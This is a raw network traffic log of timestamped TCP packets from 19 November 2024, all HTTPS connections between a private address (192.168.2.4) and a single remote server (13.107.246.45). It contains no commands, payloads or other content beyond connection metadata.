Nov 19, 2024 19:15:36.146321058 CET	50067	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:36.146466970 CET	50067	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:36.146478891 CET	443	50067	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:36.603923082 CET	443	50063	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:36.604484081 CET	50063	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:36.604515076 CET	443	50063	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:36.604960918 CET	50063	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:36.604967117 CET	443	50063	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:36.609357119 CET	443	50064	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:36.610217094 CET	50064	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:36.610251904 CET	443	50064	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:36.610754967 CET	50064	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:36.610771894 CET	443	50064	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:36.650582075 CET	443	50065	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:36.651350975 CET	50065	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:36.651384115 CET	443	50065	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:36.651982069 CET	50065	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:36.651989937 CET	443	50065	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:36.708534002 CET	443	50063	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:36.708900928 CET	443	50063	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:36.708961964 CET	50063	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:36.709043026 CET	50063	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:36.709063053 CET	443	50063	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:36.709074974 CET	50063	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:36.709080935 CET	443	50063	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:36.712096930 CET	50068	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:36.712131977 CET	443	50068	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:36.712272882 CET	50068	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:36.712491035 CET	50068	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:36.712505102 CET	443	50068	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:36.714669943 CET	443	50064	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:36.715066910 CET	443	50064	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:36.715564013 CET	50064	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:36.715811014 CET	50064	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:36.715835094 CET	443	50064	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:36.715924025 CET	50064	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:36.715929985 CET	443	50064	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:36.718806982 CET	50069	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:36.718849897 CET	443	50069	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:36.719029903 CET	50069	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:36.719214916 CET	50069	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:36.719229937 CET	443	50069	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:36.755516052 CET	443	50065	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:36.755620003 CET	443	50065	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:36.755673885 CET	443	50065	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:36.755700111 CET	50065	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:36.755732059 CET	50065	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:36.756313086 CET	50065	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:36.756334066 CET	443	50065	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:36.759809017 CET	50070	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:36.759851933 CET	443	50070	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:36.759932995 CET	50070	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:36.760081053 CET	50070	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:36.760093927 CET	443	50070	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:36.776768923 CET	443	50066	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:36.777283907 CET	50066	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:36.777313948 CET	443	50066	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:36.778096914 CET	50066	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:36.778104067 CET	443	50066	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:36.784050941 CET	443	50067	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:36.786158085 CET	50067	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:36.786187887 CET	443	50067	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:36.786765099 CET	50067	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:36.786775112 CET	443	50067	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:36.876828909 CET	443	50066	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:36.876988888 CET	443	50066	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:36.877052069 CET	50066	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:36.877161980 CET	50066	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:36.877178907 CET	443	50066	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:36.877183914 CET	50066	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:36.877190113 CET	443	50066	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:36.879863024 CET	50071	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:36.879904985 CET	443	50071	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:36.880064011 CET	50071	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:36.880207062 CET	50071	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:36.880219936 CET	443	50071	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:36.889925957 CET	443	50067	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:36.889985085 CET	443	50067	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:36.890256882 CET	50067	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:36.890317917 CET	50067	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:36.890333891 CET	443	50067	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:36.890347004 CET	50067	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:36.890352011 CET	443	50067	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:36.892540932 CET	50072	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:36.892570019 CET	443	50072	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:36.892889023 CET	50072	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:36.893058062 CET	50072	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:36.893068075 CET	443	50072	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:37.366164923 CET	443	50069	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:37.366769075 CET	50069	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:37.366790056 CET	443	50069	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:37.367234945 CET	50069	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:37.367243052 CET	443	50069	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:37.367671013 CET	443	50068	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:37.368048906 CET	50068	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:37.368073940 CET	443	50068	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:37.368453026 CET	50068	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:37.368458986 CET	443	50068	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:37.489031076 CET	443	50068	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:37.489238977 CET	443	50068	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:37.489351034 CET	50068	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:37.489500999 CET	50068	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:37.489521027 CET	443	50068	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:37.489533901 CET	50068	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:37.489538908 CET	443	50068	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:37.489826918 CET	443	50069	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:37.490046024 CET	443	50069	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:37.490122080 CET	50069	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:37.490303993 CET	50069	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:37.490323067 CET	443	50069	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:37.490343094 CET	50069	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:37.490350008 CET	443	50069	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:37.492486954 CET	50074	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:37.492526054 CET	443	50074	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:37.492573977 CET	50073	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:37.492604017 CET	443	50073	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:37.492765903 CET	50074	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:37.492769003 CET	50073	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:37.492870092 CET	50074	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:37.492878914 CET	443	50074	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:37.492902994 CET	50073	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:37.492916107 CET	443	50073	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:37.525360107 CET	443	50071	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:37.526030064 CET	50071	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:37.526066065 CET	443	50071	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:37.526613951 CET	50071	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:37.526622057 CET	443	50071	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:37.586042881 CET	443	50072	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:37.588373899 CET	50072	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:37.588391066 CET	443	50072	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:37.589446068 CET	50072	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:37.589451075 CET	443	50072	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:37.673139095 CET	443	50071	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:37.673212051 CET	443	50071	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:37.673332930 CET	50071	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:37.673548937 CET	50071	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:37.673580885 CET	443	50071	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:37.673599958 CET	50071	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:37.673607111 CET	443	50071	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:37.677504063 CET	50075	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:37.677534103 CET	443	50075	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:37.677654028 CET	50075	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:37.677860022 CET	50075	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:37.677871943 CET	443	50075	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:37.691154003 CET	443	50072	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:37.691283941 CET	443	50072	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:37.691437960 CET	50072	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:37.691467047 CET	50072	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:37.691484928 CET	443	50072	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:37.691503048 CET	50072	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:37.691508055 CET	443	50072	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:37.695765018 CET	50076	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:37.695806980 CET	443	50076	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:37.696037054 CET	50076	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:37.696135998 CET	50076	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:37.696145058 CET	443	50076	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:37.704924107 CET	443	50070	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:37.705459118 CET	50070	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:37.705482960 CET	443	50070	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:37.705955029 CET	50070	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:37.705960989 CET	443	50070	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:37.842114925 CET	443	50070	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:37.843179941 CET	443	50070	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:37.843255043 CET	50070	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:37.843373060 CET	50070	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:37.843373060 CET	50070	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:37.843421936 CET	443	50070	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:37.843451023 CET	443	50070	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:37.846365929 CET	50077	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:37.846402884 CET	443	50077	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:37.846472025 CET	50077	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:37.846626997 CET	50077	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:37.846640110 CET	443	50077	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:38.129062891 CET	443	50073	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:38.129925966 CET	443	50074	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:38.130373001 CET	50074	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:38.130383015 CET	443	50074	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:38.130708933 CET	50073	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:38.130708933 CET	50073	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:38.130736113 CET	443	50073	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:38.130759954 CET	443	50073	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:38.131016016 CET	50074	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:38.131021023 CET	443	50074	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:38.229743004 CET	443	50074	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:38.230501890 CET	443	50074	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:38.230567932 CET	50074	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:38.230603933 CET	50074	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:38.230618000 CET	443	50074	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:38.230628014 CET	50074	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:38.230633974 CET	443	50074	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:38.232537985 CET	443	50073	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:38.232752085 CET	443	50073	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:38.232805967 CET	50073	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:38.232824087 CET	443	50073	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:38.232844114 CET	443	50073	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:38.232878923 CET	50073	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:38.233721018 CET	50073	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:38.233753920 CET	443	50073	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:38.233766079 CET	50073	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:38.233782053 CET	443	50073	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:38.238329887 CET	50078	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:38.238374949 CET	443	50078	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:38.238460064 CET	50078	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:38.239028931 CET	50078	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:38.239039898 CET	443	50078	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:38.239808083 CET	50079	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:38.239840984 CET	443	50079	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:38.239976883 CET	50079	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:38.240118980 CET	50079	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:38.240132093 CET	443	50079	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:38.313527107 CET	443	50075	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:38.314235926 CET	50075	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:38.314250946 CET	443	50075	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:38.314541101 CET	50075	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:38.314547062 CET	443	50075	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:38.366168022 CET	443	50076	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:38.366878986 CET	50076	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:38.366892099 CET	443	50076	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:38.367151976 CET	50076	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:38.367157936 CET	443	50076	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:38.474453926 CET	443	50076	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:38.475236893 CET	443	50076	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:38.475323915 CET	50076	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:38.481190920 CET	50076	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:38.481210947 CET	443	50076	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:38.481475115 CET	50076	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:38.481481075 CET	443	50076	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:38.486299038 CET	50080	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:38.486341000 CET	443	50080	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:38.486491919 CET	50080	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:38.487006903 CET	50080	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:38.487016916 CET	443	50080	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:38.514509916 CET	443	50077	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:38.516688108 CET	50077	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:38.516688108 CET	50077	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:38.516710997 CET	443	50077	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:38.516726017 CET	443	50077	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:38.622987032 CET	443	50077	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:38.623332024 CET	443	50077	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:38.623385906 CET	443	50077	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:38.623399973 CET	50077	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:38.623485088 CET	50077	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:38.626348019 CET	50077	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:38.626364946 CET	443	50077	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:38.626383066 CET	50077	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:38.626388073 CET	443	50077	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:38.629590988 CET	50081	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:38.629684925 CET	443	50081	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:38.629782915 CET	50081	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:38.630027056 CET	50081	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:38.630059004 CET	443	50081	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:38.761465073 CET	443	50075	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:38.761491060 CET	443	50075	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:38.761531115 CET	443	50075	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:38.761605024 CET	50075	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:38.761605024 CET	50075	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:38.761796951 CET	50075	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:38.761825085 CET	443	50075	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:38.761931896 CET	50075	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:38.761939049 CET	443	50075	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:38.765950918 CET	50082	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:38.765990973 CET	443	50082	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:38.766222954 CET	50082	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:38.766521931 CET	50082	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:38.766534090 CET	443	50082	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:38.903702021 CET	443	50079	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:38.904567957 CET	443	50078	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:38.907612085 CET	50079	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:38.907627106 CET	443	50079	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:38.908000946 CET	50079	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:38.908010006 CET	443	50079	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:38.908298969 CET	50078	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:38.908310890 CET	443	50078	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:38.909006119 CET	50078	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:38.909008980 CET	443	50078	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:39.006297112 CET	443	50078	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:39.006369114 CET	443	50078	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:39.006506920 CET	50078	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:39.012437105 CET	50078	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:39.012437105 CET	50078	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:39.012453079 CET	443	50078	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:39.012463093 CET	443	50078	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:39.014555931 CET	443	50079	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:39.014756918 CET	443	50079	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:39.014827967 CET	50079	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:39.058088064 CET	50079	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:39.058104038 CET	443	50079	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:39.058121920 CET	50079	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:39.058128119 CET	443	50079	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:39.062485933 CET	50083	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:39.062521935 CET	443	50083	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:39.062607050 CET	50083	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:39.065078974 CET	50084	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:39.065115929 CET	443	50084	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:39.065182924 CET	50084	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:39.065342903 CET	50083	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:39.065356016 CET	443	50083	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:39.065846920 CET	50084	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:39.065861940 CET	443	50084	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:39.123353958 CET	443	50080	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:39.161921024 CET	50080	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:39.161948919 CET	443	50080	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:39.162502050 CET	50080	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:39.162508965 CET	443	50080	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:39.265089035 CET	443	50080	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:39.265223980 CET	443	50080	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:39.265345097 CET	50080	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:39.268798113 CET	443	50081	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:39.340714931 CET	50081	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:39.405992031 CET	50080	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:39.406028032 CET	443	50080	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:39.406043053 CET	50080	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:39.406052113 CET	443	50080	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:39.407809019 CET	50081	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:39.407869101 CET	443	50081	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:39.408440113 CET	50081	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:39.408461094 CET	443	50081	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:39.418493032 CET	443	50082	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:39.418514967 CET	50085	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:39.418612957 CET	443	50085	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:39.418713093 CET	50085	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:39.421848059 CET	50085	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:39.421880960 CET	443	50085	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:39.425282001 CET	50082	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:39.425322056 CET	443	50082	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:39.428833008 CET	50082	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:39.428858042 CET	443	50082	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:39.503688097 CET	443	50081	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:39.503804922 CET	443	50081	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:39.503880024 CET	443	50081	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:39.503931999 CET	50081	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:39.504012108 CET	50081	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:39.504030943 CET	443	50081	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:39.504041910 CET	50081	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:39.504048109 CET	443	50081	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:39.507283926 CET	50086	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:39.507400036 CET	443	50086	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:39.507488966 CET	50086	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:39.507920027 CET	50086	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:39.507970095 CET	443	50086	13.107.246.45	192.168.2.4
